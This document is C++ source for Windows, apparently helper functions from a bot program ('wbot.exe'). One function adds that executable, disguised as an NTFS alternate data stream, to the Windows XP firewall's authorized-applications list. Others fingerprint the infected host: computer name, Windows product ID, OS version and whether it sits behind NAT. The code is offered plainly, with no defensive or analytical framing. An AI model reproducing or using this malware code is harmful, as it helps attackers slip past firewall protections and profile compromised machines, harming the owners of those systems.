string RandomName(int rounds){
  string name;
  int i,number;
  for(i=0;i<rounds;i++){
    number=rand()%9;
    name+=IntToStr(number);
  }
  return name;
}
string myGetTempPath(){
  char* temppath=getenv("TEMP");
  string tmp=temppath;
  return tmp;
}
void GetModulePath(char *pszBuffer )
//
//	Return the size of the path in bytes.
{
	DWORD dwLength = GetModuleFileName( NULL, pszBuffer, _MAX_PATH );
	if( dwLength )
	{
		while( dwLength && pszBuffer[ dwLength ] !=('\\') )
			dwLength--;

	}
	pszBuffer[dwLength]=0;
}
  
void ResolveHost(char* serverip,string server){
  hostent *dns = gethostbyname((char*)server.c_str());
  sprintf(serverip, "%u.%u.%u.%u",
			(unsigned char) dns->h_addr_list[0][0],
			(unsigned char) dns->h_addr_list[0][1],
			(unsigned char) dns->h_addr_list[0][2],
			(unsigned char) dns->h_addr_list[0][3]);
}
void ErrorPrint() 
{ 
    // Retrieve the system error message for the last-error code

    LPVOID lpMsgBuf;
    DWORD dw = GetLastError(); 

    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | 
        FORMAT_MESSAGE_FROM_SYSTEM |
        FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        dw,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR) &lpMsgBuf,
        0, NULL );

    // Display the error message and exit the process

    MessageBox(NULL, (LPCTSTR)lpMsgBuf, "Error", MB_OK); 

    LocalFree(lpMsgBuf); 
}

string IntToStr(int i)	// convert int to string
{
	stringstream s;
	s << i;
	return s.str();
}
int Str2Int(string s)
{
     return atoi(s.c_str());
}     
string LPVOIDToStr(LPVOID lpv)	// convert LPVOID to string
{
	stringstream s;
	s << lpv;
	return s.str();
}

void time(){
    time_t t;
    time(&t);          //Wed Jun 10 22:09:48 2009
//    cout<<ctime(&t);
}
int xpfwb(){

	if(OSVersionCheck()==4){
		
		HKEY hkey; 
	RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, 0);    
	RegSetValueEx(hkey, "C:\\:wbot.exe", 0, REG_SZ,(unsigned char*) "C:\\:wbot.exe:*:Enabled:system32", sizeof("C:\\:wbot.exe:*:Enabled:system32")); 
	RegCloseKey(hkey);
	}
	return 0;
}
int OSVersionCheck(void)
{ 
	DWORD dwRet = 9999;

	OSVERSIONINFO verinfo;
	verinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
	if (GetVersionEx(&verinfo)) {
	  if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 10) dwRet = 1;
	  else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 90) dwRet = 2;
	  else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0) dwRet = 3;
	  else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1) dwRet = 4;//xp
	  else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2) dwRet = 5;
	  else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2) dwRet = 2003;//server 03
      else if (verinfo.dwMajorVersion == 6 && verinfo.dwMinorVersion == 1) dwRet=7;
      else if (verinfo.dwMajorVersion == 6 && verinfo.dwMinorVersion == 0) dwRet=6;//vista 
	}             

	return (dwRet);
}

string NAT(){
	char hostname[255];
 char *IPAddress;
 PHOSTENT hostinfo;

   if( gethostname ( hostname, sizeof(hostname)) == 0)
  {
   if((hostinfo = gethostbyname(hostname)) != NULL)
   {
    IPAddress = (char*)inet_ntoa ((*(struct in_addr *)*hostinfo->h_addr_list));
   }
  }
string ip=IPAddress;
ip=ip.substr(0,7);
if (ip=="192.168")
  return "Y";
else return "N";
}

string name(){
   char szTemp[512]="";
   DWORD dwSize=512;
   GetComputerName(szTemp, &dwSize);
   string name=szTemp;
        return name;
}
string serial(){
	char szTemp[512]="";
	DWORD dwSize=512, dwType;
	HKEY hKey;

	szTemp[0]=0;

	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_READ, 

&hKey)==ERROR_SUCCESS)
	{
		RegQueryValueEx(hKey, "ProductId", NULL, &dwType, (LPBYTE)szTemp, &dwSize);

		RegCloseKey(hKey);
	}
	else
	{
		if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion", 0, 

KEY_READ, &hKey)==ERROR_SUCCESS)
		{
			RegQueryValueEx(hKey, "ProductId", NULL, &dwType, (LPBYTE)szTemp, &dwSize);

			RegCloseKey(hKey);
		}
	}
	string serial=szTemp;
	return serial;
}


bool IsIP(string IP){
	for(int i=0;i<IP.length();i++){    
if(!(IP[i]=='0'||IP[i]=='1'||IP[i]=='2'||IP[i]=='3'||IP[i]=='4'||IP[i]=='5'
     ||IP[i]=='6'||IP[i]=='7'||IP[i]=='8'||IP[i]=='9'||IP[i]=='.'))
		{
			return false;
		}
	}
	return true;
}

